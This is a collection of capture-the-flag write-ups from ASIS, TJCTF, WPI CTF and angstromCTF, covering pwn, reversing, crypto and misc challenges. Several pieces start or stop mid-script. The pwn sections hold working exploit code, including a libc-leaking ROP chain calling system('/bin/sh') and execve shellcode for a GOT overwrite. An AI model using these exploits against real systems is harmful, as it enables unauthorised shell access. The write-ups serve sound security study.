0x4f440))#e.symbols["system"])) #5 sh.sendline("3")sh.recvuntil("Index: ")sh.sendline(str(5)) sh.interactive()``` ## 104 Pwn / Precise average The stack overflow is obvious, but we need to find ways to bypass canary protection. The key is to send `"-"` as the floating point number, which is invalid and `scanf` will return negative, but it will not rewrite the pointer passed as argument and leave it as it is. By using this technique canary will not be rewritten. ```pythonfrom pwn import *from struct import unpack as upg_local=0p = ELF("./precise_avg.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./precise_avg.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 12499) pop_rdi = p64(0x4009c3)main = p64(0x4007D0) def exploit(rop): sh.recvuntil("Number of values: ") length = 35 + len(rop)/8 sh.sendline(str(length)) for i in xrange(35): sh.sendline("-") for i in xrange(0, len(rop), 8): sh.sendline("%.800f" % up("<d", rop[i:i+8])[0]) sh.recvuntil("Result = ") sh.recvuntil('\n') rop = pop_rdirop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += mainexploit(rop) leak = sh.recvuntil('\n') libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) rop = p64(0x400958) #retnrop += pop_rdirop += p64(libc_addr + next(e.search("/bin/sh")))rop += p64(libc_addr + e.symbols["system"])rop += p64(0) exploit(rop) sh.interactive()``` ## 287 Reverse / Mind Space This is a C++ reverse engineering challenge. Fortunately the optimization is not enabled, otherwise many C++ built-in functions would be "inlined" and the codes would be very messy. The key is to recognize `std::vector`, `std::string` and `angles` structure. ```cstruct angles{ _QWORD field_0; _QWORD field_8;};//actually they are `double` typestruct vector{ angles *pointer; angles *end; angles *real_end;};struct string{ char *pointer; size_t len; size_t maxlen_data; __int64 field_18;};``` I would not detail the C++ implementation here, if you want to know just search online or write some test codes with STL and reverse them. Here are some critical codes: ```cwhile ( !std::basic_ios<char,std::char_traits<char>>::eof(&input_stream_256) ){ v17 = 0LL; std::getline(input_stream, &flag;; v17 = string::find(&flag, ", ", 0LL); string::substr(&v14, &flag, 0LL, v17); string::operator_assign(&a1a, &v14); string::string_des(&v14); string::erase(&flag, 0LL, v17 + 1); sndnum = string::strtod((__int64)&flag, 0LL); a3 = sndnum - 80.0 - (double)i; fstnum = string::strtod((__int64)&a1a, 0LL); vector::push_back_withcheck(&a2, (double)i++ + fstnum - 80.0, a3); // fstnum is modified and inserted as field_8, and sndnum is field_0}``` ```c__int64 __fastcall encode(string *a1, double a2){ double v2; // ST00_8 bool v4; // [rsp+17h] [rbp-19h] char v5; // [rsp+18h] [rbp-18h] int v6; // [rsp+1Ch] [rbp-14h] v2 = a2; v6 = 2 * (signed int)round(100000.0 * a2); if ( v2 < 0.0 ) v6 = ~v6; string::string(a1); do { v4 = v6 >> 5 > 0; v5 = v6 & 0x1F; if ( v6 >> 5 > 0 ) v5 |= 0x20u; // a little bit similar to uleb128 in android string::operator_add(a1, (unsigned int)(char)(v5 + 0x3F)); v6 >>= 5; } while ( v4 ); return (__int64)a1;}``` This is the solving script ```pythondef read_flagenc(): f = open("./flag.txt.enc", "rb") ret = f.read() f.close() return map(ord, ret[:-1]) def recover_ints(data): ret = [] i = 0 off = 0 for c in data: n = c - 0x3f if (n & 0x20) == 0: i += n << (5 * off) ret.append(i) i = 0 off = 0 else: n -= 0x20 assert n < 0x20 i += n << (5 * off) off += 1 return ret arr = recover_ints(read_flagenc()) def back_to_double(i): if i % 1000 == 999: # if it is originally negative i = -i - 1 assert i % 1000 == 0 # % 2 == 0 return i / 2 / 100000.0 arr = map(back_to_double, arr) last0 = 0.0last1 = 0.0for i in xrange(0, len(arr), 2): arr[i] += last1 arr[i+1] += last0 last0 = arr[i+1] last1 = arr[i] #arr[i],arr[i+1] = arr[i+1],arr[i] for i in xrange(0, len(arr), 2): arr[i] = arr[i] + 80.0 - (i/2 + 1) arr[i+1] = arr[i+1] + 80.0 + (i/2 + 1) print arrprint "".join(map(lambda x : chr(int(x)), arr)) out = ""for i in xrange(0, len(arr), 2): out += "%.2f, %.2f\n" % (arr[i], arr[i+1]) # we know it is %.2f because it is the results are too close to it # (something like xx.xx9999999 or xx.xx00000001) out = out[:-1] f = open("flag.txt", 'wb')f.write(out)f.close()``` Then we have a `flag.txt`, but how do we get the flag from it? After asking for help from organizers (well, they told me this so it was allowed :D), we knew that for a floating point number `aa.bb`, `bb` is index `aa` is `ascii` value, so we can get the flag. ## 195 Reverse / Archimedes This is the critical code that generate encrypted flag. ```cwhile ( 1 ){ v23 = i; if ( v23 >= string::size(&input) ) break; v24 = sub_5555555577A7(0x10u, 8); string::substr((__int64)&v52, (__int64)&v31, 2 * i, 2LL); stringstream::stringstream(&v26, &v52, v24); string::destructor((__int64)&v52); std::istream::operator>>(&v26, &v28); input_char = (_BYTE *)string::operator_index(&input, i); string::operator_add(&v30, (unsigned int)(char)(v28 ^ *input_char ^ 0x8F ^ i++)); basic_stringstream::destructor(&v26);}``` This is basically `xor`, but `v28` is not dependent on current time instead of input flag, so we need to brute-force crack the `rand() % 0xffff` that produces the byte sequence that gives the correct flag after `xor` operation. But how to get that byte sequence given a particular `unsigned short` value? My approach is to patch the binary. Firstly, let it accept the second argument as the value that should have been generated by `rand()`. This can be done by changing the assembly. However, we need `atoi` function but there is no such function imported in this binary. The way to solve this is to change the `"srand"` or `"rand"` string in symbol string table to `"atoi"`, so that the function becomes `atoi`. Also, we need to cancel the `xor` operation such that the byte sequence being outputted into file is not encrypted flag but the byte sequence generated from the second argument. We get the flag using following script ```pythonfrom os import system def read_file(filename): f = open(filename, "rb") ret = f.read() f.close() return ret for x in xrange(1,0xffff): system("./archimedes2 flagenc %d" % x) key = read_file("./flagenc.enc") enc = read_file("./flag.enc") flag = "" for i in xrange(0x2f): flag += chr(ord(key[i]) ^ ord(enc[i]) ^ 0x8f ^ i) print flag``` However, this is slow, it might take much time to traverse all 65534 cases, but fortunately the flag comes up very soon. Also here is the [patched program](files/archimedes2).
### はじめに2019年4月の4日〜8日、TJCTFにNekoChanNano!というCTFチームで参加しました。自分はまだ初心者であり、レベルがかなり高かったと思います。良い勉強になりましたので、今回はPwn系の問題「Silly Sledshop」の解き方を解説していきたいと思います。 ### 概要こちらはチャレンジ記載:```Silly Sledshop - 80 PointsWritten by evanyeyeye Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.Lesson: nothing stops Omkar.He will go sledding whenever and wherever he wants. nc p1.tjctf.org 8010```その上、32ビットのELFバイナリとそのソースコードを手に入れます。 ### 解析まずはELFファイルを実行してみましょう。```$ ./sledshopThe following products are available:| Saucer | $1 || Kicksled | $2 || Airboard | $3 || Toboggan | $4 |Which product would you like?```メニューが表示され、入力を待っているようです。そして指示すると、```[...]Which product would you like?1Sorry, we don't currently have the product 1 in stock. Try again later!$ #品切れだったら先に言ってよ!ヾ(。>﹏<。)ノ゙```さあ次に、ソースコードを確認しよう〜```c#include <stdio.h>#include <stdlib.h> void shop_setup() { gid_t gid = getegid(); setresgid(gid, gid, gid); setbuf(stdout, NULL);} void shop_list() { printf("The following products are available:\n"); printf("| Saucer | $1 |\n"); printf("| Kicksled | $2 |\n"); printf("| Airboard | $3 |\n"); printf("| Toboggan | $4 |\n");} void shop_order() { int canary = 0; char product_name[64]; printf("Which product would you like?\n"); gets(product_name); if (canary) printf("Sorry, we are closed.\n"); else printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name);} int main(int argc, char **argv) { shop_setup(); shop_list(); shop_order(); return 0;}```興味あるのはshop_order関数ですね。中には、getsでstdinを読み込み、入力データのサイズを確認せずに64バイトのバッファーproduct_nameに書き込みます。単純なバッファーオーバーフローが使えるように見えますが、実行ファイルのセキュリティ機構を確認すれば:```$ checksec ./sledshop[*] '<省略>/sledshop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments$```何だ、いけるじゃん。ただし、チャレンジサーバーではASLRが有効なので、スタックにシェルコードを置いても、アドレスがランダム化されるため、そこにリターン出来ません。そこで、長く長く長く流れるNOPスレッドを使えば行けるかもしれないけど、リモートサーバーですし時間かかりそうだから面倒くさい。シェルコードを一回で実行する方法を考えたほうがいいので、さあ楽しいシンキングタイムだぜ! ### 作戦スタックトークンがないから普通のスタックオーバーフローで任意アドレスへ移動することが出来ます。ASLRが有効になるため、スタック内アドレスに簡単に戻れませんが、テキスト領域かGOT領域ならアドレスが固定なので使えます。 あと、Full RELROがないので、GOT領域が書込可能。問題はどうやって書き込むのかですね。ただのスタックオーバーフローだけだとスタック以外のメモリを書き込むことが出来ません。ディスアセンブリを読みながら任意アドレスを書き込む方法がわかりました。```80485dc: 8d 45 b4 lea eax,[ebp-0x4c]80485df: 50 push eax80485e0: e8 eb fd ff ff call 80483d0 <gets@plt>```これでございます。EBPから0x4cバイトを引いて読み込み先にし、gets関数を呼び出すとするアセンブリ命令。素敵じゃないですか!EBPレジスターを設定できれば、指定したアドレスの位置から0x4cを引いて、結果のアドレスに書き込みます。これを使えば、例えばprintf関数のGOTポインターに0x4cを足し、スタックのリターンポインターの前に置いて、このアセンブリ命令の冒頭に移動してprintfのGOTポインターを書き込んでしまう。とっても素敵! ### エクスプロイト```python#!/usr/bin/env python2# -*- coding: utf-8 -*-import struct, os# 作戦:printf関数のGOTポインターを書き換えることで、実行可能であるGOT領域に置いたシェルコードを実行する。# GOTポインターを書き換えるには、ebxを設定し、バッファーオーバーフローでshop_order関数の真ん中に戻り、# getsによりprintfのポインターを4バイト後の0x804a014に変えて、直後にシェルコードを同時期に置いておく。# getsからshop_orderに戻ったらprintfが自然に呼び出されて、シェルコードを実行してしまう。 def payload(): junk = "a"*76 alphabet = "".join([x*4 for x in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" gadget_gets = struct.pack('<I', 0x080485dc) # gets() -> [ebp-0x4c] got_printf = struct.pack('
# Archimedes CTF reveals its secrets only to those who approach it with pure love, for its own beauty. The challenges provides a 64bit Linux binary that can encrypt files in a non-deterministic way and a encrypted flag files meant to be decrypted. ## Solution The challenge uses a random value seeded with the current system time to determine the encryption values which are then xored with the data meant to be encrypted.As the generation of the encryption keys is independent of the file input and also limited to 65535 different sets, making a table out of all of them andtrying to filter which can be decrypted to printable characters was my approach. This gdb script does that by modifying the random value to a fixed value, letting the binary calculate the values and then saving them to a file:```pythongdb.execute("set pagination off")gdb.execute("set confirm off") version = 0 # 0 - 15 (split so running multiple instances parallel is possible) # create a dummy file to encryptdummyFile = open("test%d.txt" % version, "w")dummyFile.write("D"*0x2F)dummyFile.close() # some initial code to set the breakpoints in a position independent environmentgdb.execute("b *rand") # break at randgdb.execute("run") # run until randgdb.execute("finish") # continue until the function endsgdb.execute("delete") # delete all breakpoints gdb.execute("b") # set a breakpoint after the random value to modify it [0000000000002DCF]ip = int(gdb.parse_and_eval("$rip"))gdb.execute("b *0x%X" % (ip + 0x73a)) # read rdx from here to get value for the key [0000000000003509] for index in range(max(1,0x1000*version), 0x1000*(version+1))): # skip 0 as it crashes the binary gdb.execute("set logging redirect off") print("%04X" % index) gdb.execute("set logging redirect on") gdb.execute("run test%d.txt" % version) # start the process # modify random gdb.execute("set $rax = "+hex(index)) gdb.execute("continue") solMap = [] for i in range(0x2F): solMap.append(int(gdb.parse_and_eval("$rdx"))&0xFF) gdb.execute("continue") f = open("./rnums/entry_%04X.txt" % (index),"w") f.write(str(solMap)) f.close()``` To speed up the process I then zipped the resulting files and ran them through a script to find the printable ones:```pythonimport stringimport zipfile map = {} # read the lists from a zip archivearchive = zipfile.ZipFile('rnums.zip', 'r') encryptedData = []with open("flag.enc", "rb") as flag: # read the flag encryptedData = [ord(c) for c in flag.read()] # limit the amount of entries to parseUPPERBORDER = 0x1000 # evaluate the lists from the archive and map them to their indexfor i in range(1,UPPERBORDER): try: map[i] = eval(archive.read('entry_%04X.txt' % i)) except: passarchive.close() print("Parsed..") # try the encryption key lists on the flagfor i in range(1,UPPERBORDER): if not i in map: continue d = [chr(map[i][j]^encryptedData[j]^0x8F^j) for j in range(len(encryptedData))] # same code as in the binary, as it only uses xor it's symmetrical if(all([c in string.printable for c in d])): # print everything with the index that doesn't contain not-printable character print ("[%04X]: "%i)+''.join(d)print("Done..")``` Running it reveals that the encryption set was already the second one`[0002]: ASIS{U5in9_Pi_1n_Rev3rs1ng_w4s_e4sy_3n0u9h!!?}`. # Medias Numbers, how clever and intelligent these numbers are!! Medias is a 64bit Linux binary that requests a number parameter to be supplied to decrypt the flag out of the entered numbers sha1 hash. ## Solution While reversing the first stages of the input verification code the function at `0000289d` sticks out as it's pretty linear and depending on its output the binary either proceeds or stops. ![](medias_verifyFunc.PNG) Looking further into it it shows that it checks the input for some constraints, separates it in three pieces with the same size and runs further compares on them.Putting them into z3 looks like this: ```pythonfrom z3 import * s = Solver() variableSizeFactor = 8 # adjusting number to multiply with 3 until no found arg1Size = 3*variableSizeFactor arg1SizeM = (arg1Size/3) argv1 = IntVector("argv1", arg1Size) # an array holding all of the digitsval = Int("val") # the value of the digits interpreted as a single number row1 = Int("row1") # the first thirdrow2 = Int("row2") # the second thirdrow3 = Int("row3") # the last third s.add(arg1Size%3 == 0) # check if the length is matching the constraints for i in range(arg1Size): # verify that the digit array only contains single digits s.add(argv1[i] >= 0) s.add(argv1[i] < 10) # Set the digits together to form the integer valuess.add(val == Sum([argv1[index]*(10**(arg1Size-1-index)) for index in range(arg1Size)]))s.add(row1 == Sum([argv1[index]*(10**(arg1SizeM-1-index)) for index in range(arg1SizeM)]))s.add(row2 == Sum([argv1[index+arg1Size/3]*(10**(arg1SizeM-1-index)) for index in range(arg1SizeM)]))s.add(row3 == Sum([argv1[index+arg1Size/3*2]*(10**(arg1SizeM-1-index)) for index in range(arg1SizeM)])) # these contrains are checked on the three partsfor i in range(1,arg1SizeM-1): s.add(argv1[i-1] != 0) s.add(2*argv1[i] - argv1[i-1] < argv1[i+1]) s.add(argv1[(i-1)+arg1Size/3] != 0) s.add(2*argv1[i+arg1Size/3] - argv1[(i-1)+arg1Size/3] < argv1[(i+1)+arg1Size/3]) s.add(argv1[(i-1)+arg1Size/3*2] != 0) s.add(2*argv1[i+arg1Size/3*2] - argv1[(i-1)+arg1Size/3*2] < argv1[(i+1)+arg1Size/3*2]) # the last check done on the numberss.add(10**6 + row1 <= 10**5 + row2)s.add(10**5 + row2 <= 10**4 + row3) while s.check(): m = s.model() print(m[val].as_long()) # try out last found number s.add(val > m[val].as_long()) # find all numbers until no are left``` After entering one of the resulting numbers the binary requests the largest one:```./medias 742112478421124785322358- please find the largest such number!``` Entering the largest of them passes the md5 check and reveals the flag:```./medias 942112599532235996433469******** Well done ******** _R3V__B1n4rY_tR3E!!_``` # Mind Space Free your mind to have some space to enjoy the Spring! Mind Space provides a 64bit Linux binary that can encrypts "flag.txt" files of a specific format and a encrypted flag file meant to be decoded. ## Solution I first reimplemented the C++ logic in python to get a better gasp of it: ```pythonimport math def doubleToStringFancy(dValue): # 00000000000024B8 intValue = 2 * int(math.floor(round(100000.0 * dValue))) if dValue < 0.0: intValue = ~intValue res = "" continueExec = True while continueExec: continueExec = (intValue >> 5) > 0 v4 = intValue&0x1F if continueExec: v4 |= 0x20 res = res + chr(v4+0x3F) intValue = intValue >> 5 return res def transformValues(pva): # 000000000000257A lastValue = 0.0 lastValue2 = 0.0 mainString = "" for pv in pva: mainString = mainString + doubleToStringFancy(pv[0] - lastValue) mainString = mainString + doubleToStringFancy(pv[1] - lastValue2) lastValue = pv[0] lastValue2 = pv[1] return mainString def parseLine(content, index=1): # 0000000000002B35 findComma = content.index(", ") tillComma = content[0:findComma] content = content[findComma+2:] upperValue = float(content) - 80.0 - index lowerValue = index + float(tillComma) - 80.0 if lowerValue > 90.0 or lowerValue < -90.0: print(tillComma) print("LOWER VALUE OUT OF RANGE") return None if upperValue > 180.0 or upperValue < -180.0: print(content) print("UPPER VALUE OUT OF RANGE") return None return (lowerValue, upperValue) print(parseLine("1.78, 2.5"))# (-77.22, -78.5)print(parseLine("1.12321321, 2.5", index=2))# (-76.87678679, -79.5)print(transformValues([parseLine("1.78, 2.5"), parseLine("1.12321321, 2.5", index=2), parseLine("98.7654321, 133.7420", index=3)]).encode("hex"))# 7e5f69764d7e5f637e4d616062417e6862457b606179516f7b7c7957``` Trying out some values reveals they match up with the results from the binary (the floating point upper and lower values can be read at 0000000000002C4A in xmm0 and xmm1).Noticeable here is that after the encoded bytes some additional junk bytes appear ("FB 55 0A"), the original flag.enc file also contains one junk byte "0A" which needs to be removed or ignored. ![](mindspace_encoded.PNG) The reversed code showed that the input for the encryption needs to be in a "floating-point-number, floating-point-number" format so the task will be to recover those numbers from the provided encrypted flag file. To do that I wrote functions to reverse the encoding code and to recover the original format: ```python... def fancyToDouble(res): # revert the byte array to the floating point number that created it intValue = 0 index = 0 continueExec = True cList = [] while continueExec: # just a reverse implementation of the original cur = ord(res[index])-0x3F if cur&0x20 == 0: continueExec = False else: cur = cur ^ 0x20 cList.append(cur) index += 1 cList.reverse() for e in cList: intValue |= e intValue = intValue << 5 intValue = intValue >> 5 # return multiple values as the rounding and negating part cause multiple possible inputs return ([float(intValue / 2) / 100000.0, (float(intValue / 2) + 1) / 100000.0, (float(intValue / 2) - 1) / 100000.0, float((~intValue) / 2) / 100000.0, (float((~intValue) / 2) + 1) / 100000.0, (float((~intValue) / 2) - 1) / 100000.0], index) def untransformValues(str): lastValue = 0.0 lastValue2 = 0.0 bigIndex = 0 bL = [] while len(str) > 0: res, index = fancyToDouble(str) # decode the possible values and amount of characters parsed part = str[:index] # extract the first part str = str[index:] # remove the first part from the string res2, index = fancyToDouble(str) # decode the possible values and amount of characters parsed part2 = str[:index] # extract the second part as it's partly independent of the first str = str[index:] # remove the second part from the string bigIndex += 1 # increase the index needed for decoding for r in res+[]: # filter the ones out that don't encode to the same byte array if(doubleToStringFancy(r) != part): res.remove(r) res = [r+lastValue for r in res] # reconstruct to the original state for r in res2+[]: # filter the ones out that don't encode to the same byte array if(doubleToStringFancy(r) != part2): res2.remove(r) res2 = [r+lastValue2 for r in res2] # reconstruct to the original state if len(res) > 1 or len(res) == 0: # exit if multiple results or possible or non was found print("Error with line 1") print(res) return bL if len(res2) > 1 or len(res2) == 0: # exit if multiple results or possible or non was found print("Error with line 2") print(res2) return bL lastValue = res[0] lastValue2 = res2[0] bL.append(((res[0] + 80.0 - bigIndex),(bigIndex + (res2[0]) + 80.0))) # append the decoded values to the array return bL def unparse(st): l = untransformValues(st) # turn the encrypted content back into res = "" for p in l: res = res + ("%0.5f, %0.5f\n" % (p[0],p[1])) # put the reconstructed values in the correct format res = res[:-1] print res # print the reconstructed file # parse all the reconstructed lines to verify the result is correct i=1 cL = [] for line in res.split("\n"): cL.append(parseLine(line, index=i)) i += 1 # verify the original and the result of the reconstructed values are the same, needs to be adjusted for custom input return (transformValues(cL).encode("hex") == st.encode("hex")) flagFile = open("flag.txt.enc", "rb")flag = flagFile.read()[:-1] # cut off the last byte "0A" as it's junk dataflagFile.close() print(unparse(flag))``` Which outputs```95.18000, 85.1500049.12000, 83.0200057.11000, 95.2700095.06000, 95.35000105.37000, 63.4100078.25000, 108.2100049.24000, 79.1000076.23000, 89.22000125.44000, 77.3100095.30000, 112.33000123.05000, 95.1400095.07000, 55.4000083.04000, 101.1700048.20000, 33.4300071.08000, 52.3200053.16000, 51.1300078.29000, 104.3900073.03000, 51.2600033.42000, 65.0100048.09000, 80.1900057.38000, 105.2800082.36000, 53.34000True``` A quick look at the numbers and it becomes visible that the numbers before the dots are the ASCII characters and the numbers behind them are the position they should be at.A small sorting script reveals the flag:```pythonl = [95.18, 85.15, 49.12, 83.02, 57.11, 95.27, 95.06, 95.35, 105.37, 63.41, 78.25, 108.21, 49.24, 79.1, 76.23, 89.22, 125.44, 77.31, 95.3, 112.33, 123.05, 95.14, 95.07, 55.4, 83.04, 101.17, 48.2, 33.43, 71.08, 52.32, 53.16, 51.13, 78.29, 104.39, 73.03, 51.26, 33.42, 65.01, 48.09, 80.19, 57.38, 105.28, 82.36, 53.34]indexed = [str(e).split(".") for e in l]indexed.sort(key=lambda x: x[1])print(''.join([chr(int(ind[0])) for ind in indexed]))# ASIS{__G0O913_U5e_P0lYL1N3_iN_M4p5_Ri9h7?!!}``` # Silk road I and III ID/Token Z3 Python Scripts and working numbers for solving the constraints part of Silk road I and Silk road III are in this folder as well.
This is a write up from my participation in WPI's CTF competition. [I got placed at 42nd place out of 586 teams with a score of 981](https://ctftime.org/team/78226). The event had a number of challenges, and I will be explaining the ones that I managed to clear in this document. # Linux**1. suckmore-shell** ###### Descrption Here at Suckmore Software we are committed to delivering a truly unparalleled user experience. Help us out by testing our latest project. ssh [email protected] pass: i'm a real hacker now Brought to you by acurless and SuckMore Software, a division of WPI Digital Holdings Ltd. After logging in through ssh, I searched for every file in every directory of the path which contained the string "WPI" using the **grep -r WPI /PATH**. After a number of attempts, I found the flag to be hidden in /home/ctf/flag file. Flag: WPI{bash_sucks0194342} **2. pseudo-random** ###### Descrption ssh [email protected] pass: random doesn't always mean random made by acurless Probably the hardest challenge for me. The name of the challenge suggested that the task has something to do with linux's pseudo-random generator /dev/random and /dev/urandom. After trying to use urandom a couple of times, I realized it is giving me the same result instead of being random. When I ran the command **file** on urandom, it suggested it is an ascii text file, which lead to the conclusion that this file has been modified. When I inspected /dev/random using the **file** command, it described it as **openssl enc'd data with salted password**. That lead me to believe that this file has been encrpted using openSSL and /dev/urandom is the key (password) file for it. So I used the command **openssl enc -aes-256-cbc -d -salt -in /dev/random -kfile /dev/urandom** which showed the following decrypted message with the flag: Being holy in our church means installing a wholly free operating system--GNU/Linux is a good choice--and not putting any non-free software on your computer. Join the Church of Emacs, and you too can be a saint! And lo, it came to pass, that the neophyte encountered the Beplattered One and humbly posed the question "Oh great master, is it a sin to use vi?" And St. IGNUcuis dist thus reply unto him, "No, my young hacker friend, it is not a sin. It is a penance." WPI{@11_Ur_d3v1c3s_r_b3l0ng_2_us} # Cryptography**1. zoomercrypt** ###### Descrption> My daughter is using a coded language to hide her activities from us!!!! Please, help us find out what she is hiding! ![Zoomer Crypt](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/zoomercrypt.jpg) We were given the above picture to decode the message from. I converted all emojis into unicode first, which resulted in a string like this: U+1F603 U+1F601 U+1F615 ......... I noticed that all of them have one thing in common: **U+1F6**, which leads me to the conclusion that we only need the last two bits of the code, which resulted into the following series of numbers: 03 01 15 17 08 17 07 0B 04 17 { 06 13 04 13 02 08_ 0E 03 03 01 13 06 07} Then tracing each number to their alphabetical position, we get: DBP RI RH LER{GNENCI_ODDBNGH} Now in the picture message, it mentions that the message is using ROT15 substitution cipher, so we shift each letter 15 positions backwards to get: OMA CT CS WPC{RYPYNT_ZOOMYRS} Now I was stuck at this point for a long time. I do not know if I made a mistake somehow in the process of decrypting, or it was intentional, but the resulting string had 2 letters wrong. After thinking about it for a while, I realized that the name of the challenge is "**zoomer**crypt", so our decrypted flag should be OMA CT CS WPC{RYPYNT_ZOOM**E**RS}, which made sense. Hence after replacing every instance of letter Y with E, we get: OMA CT CS WPC{REPENT_ZOOMERS} Which now made a lot of sense. So after changing the WPC to WPI (which is the flag format), I successfully managed to decrypt the message! Flag: WPI{REPENT_ZOOMERS} **2. jocipher** ###### Descrption> Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! We were given a compiled python file which the text was encrpted with. I used **uncompyle6** python decrypter to decompile the file to get access to its source code. That resulted in the following code: > https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/jocipher_Decompiled I modified the code slightly by adding the following code in the condition at line #133, to test a number of range for the correct seed to decrypt with: if args.decode: for i in range(50): print(i) ret = decode(args.string, i) With that, the flag was found at seed #48. Flag: WPI{xkcd-keyboard-mash} # Web**1. getaflag** ###### Descrption Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) The challenge required us to guess the correct password. Upon inspecting the source of the page, I found a commented out encrpted key: > \ The trailing == suggest that it is a base64 encoding, so after decrypting it, I found the message: > Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) That lead me to /auth.php page which contained the hints to solve this challenge. The page contained the following pseudo code: // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } } This hint shows us how the authentication works. So by manipulating the data sent to the website, I passed empty value for **input** and **passcode** which resulted in the comparison to be successful, resulting it in showing the flag. The URL was passed onto auth.php as follows: http://getaflag.wpictf.xyz:31337/?input=&passcode= The leads to the success page, but the flag itself is outputted as a console.log() command using JavaScript. So I had to open the browser console to get the flag. Flag: WPI{1_l0v3_PHP} # Miscellaneous**1. Remy's Epic Adventure** ###### Descrption A tribute to the former God Emperor of CSC and Mankind, Ultimate Protector of the CS Department, and Executor of Lord Craig Shue's Divine will. https://drive.google.com/drive/folders/1RmSgqBhd-_8CFYvvdJXqGDbvzjE3bcwG?usp=sharing Author: Justo This was one of the most fun and most frustrating challenge of them all. We were given a game to beat. In the final level of the game, there is a boss which we have to beat to get the flag. After trying to kill it for an hour, I used a small python script using Pynput which left-clicks every 0.001 ms. Even with that, after 20 minutes of trying I could not kill the boss. Which made me realise that challenge requires us to kill it by other means. I used a tool called **Cheat Engine**. This tool lets you collect information about running processes, and lets you manipulate values stored in the registers to modify the game behavior. After loading the game in cheat engine, I found that the boss has 2147483646 HP (no wonder I couldn't kill it!). So I changed the value of its HP to 0 and that instantly killed it. After getting out of the stage, the flag is displayed on the screen to be written down. Flag: WPI{j0in_th3_illumin@ti_w1th_m3} # PWN**1. Source pt1** ###### Descrption ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff. made by awg This task required us to log into their server using the provided details. Upon login, you are promoted to write a password to gain access to the source code: Enter the password to get access to https://www.imdb.com/title/tt0945513/ Upon entering a wrong password, the connection closes with the following error: Pasword auth failed exiting Connection to source.wpictf.xyz closed. So I tried to find the length of the password. After several tries, I noticed that the connection simply closes if you enter a password above a certain length; without any error. That made me narrow the length of the password down to around 110 characters. Upon entering a random string of length 109 characters as password, the source of the program is displayed where the flag is hidden in a comment. Upon inspecting the source code, I noticed that the length of the password is 100 characters, and by entering a certain amount of characters, we overflowed the buffer; giving us access to the source code. Flag: WPI{Typos_are_GrEaT!} # Reversing**1. strings** For this challenge, we were given an execuable file to run. I opened the file in a text editor and search for the key word "WPI" and found the flag in it. Flag: WPI{What_do_you_mean_I_SEE_AHH_SKI} # Recon**1. Chrip** ![Chirp Recon](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/chirp.png) Perhaps the easiest challenge of them all. We were given a picture of a blue bird, with a watermark "Seige" written on it. This hinted that the answer is somewhere on Twitter. Upon searching for Seige Technologies's (which were the sponsor of this event) Twitter page, I found the key in one of their tweets. Flag: WPI{sp0nsored_by_si3ge}
# Runes CRYPTO [70] Here's challenge: ![](https://raw.githubusercontent.com/ozancetin/CTF-Writeups/master/2019/angstormCTF2019/Runes/runes.png) Here's given [runes.txt](https://raw.githubusercontent.com/ozancetin/CTF-Writeups/master/2019/angstormCTF2019/Runes/runes.txt)```n: 99157116611790833573985267443453374677300242114595736901854871276546481648883g: 99157116611790833573985267443453374677300242114595736901854871276546481648884c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869``` Its basic paillier crypto challenge. Here's solution python code ```python#python2#theory from https://asecuritysite.com/encryption/pal_ex# @j3sus import gmpy #You can use gmpy2 for invert as a gmpy2.invert n= 99157116611790833573985267443453374677300242114595736901854871276546481648883g= 99157116611790833573985267443453374677300242114595736901854871276546481648884c= 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869 # n factorization with http://factordb.com/index.php p= 319848228152346890121384041219876391791q= 310013024566643256138761337388255591613 #gLambda = (p-1) * (q-1) gLambda = 99157116611790833573985267443453374676670380861876746755594725897938349665480 #calculating the value of the L function, and then gMu, which is the inverse of l mod nl = (pow(g,gLambda,n*n)-1)//ngMu = gmpy.invert(l,n) #The public key is then (n,g) and the private key is (gLamda,gMu)#And is decrypted with: l = (pow(c, gLambda, n*n)-1) // nm = (l * gMu) % n plaintext = str(hex(m))[2::]print(''.join([chr(int(''.join(c0), 16)) for c0 in zip(plaintext[0::2],plaintext[1::2])]))```
# Lithp MISC [60] Here's challenge: ![](https://raw.githubusercontent.com/ozancetin/CTF-Writeups/master/2019/angstormCTF2019/Lithp/Lithp.png) Given Lithp code: [lithp.lisp](https://raw.githubusercontent.com/ozancetin/CTF-Writeups/master/2019/angstormCTF2019/Lithp/lithp.lisp) I recognized relation given integer values as a: 8930 = 94 * 95 |15006 = 122 * 123... and so on it seems like a a decimal values to ascii write a python script for finding Consecutive numbers and reorder as a given array then convert ascii Here's script: ```pythonlist = [8930,15006,8930,10302,11772,13806,13340,11556,12432,13340,10712,10100,11556,12432,9312,10712,10100,10100,8930,10920,8930,5256,9312,9702,8930,10712,15500,9312]order = [19,4,14,3,10,17,24,22,8,2,5,11,7,26,0,25,18,6,21,23,9,13,16,1,12,15,27,20]New_dict = dict(zip(order,list))Reorder = New_dict.values() #finding consecutive numbers and append big oneflag=[]for i in Reorder: n = int(i ** 0.5) decimal_char = n+1 flag.append(decimal_char) #Decimal to ascii partflag_list=[]for x in flag: flag_list.append(chr(x))FinalFlag = ''.join(flag_list) print 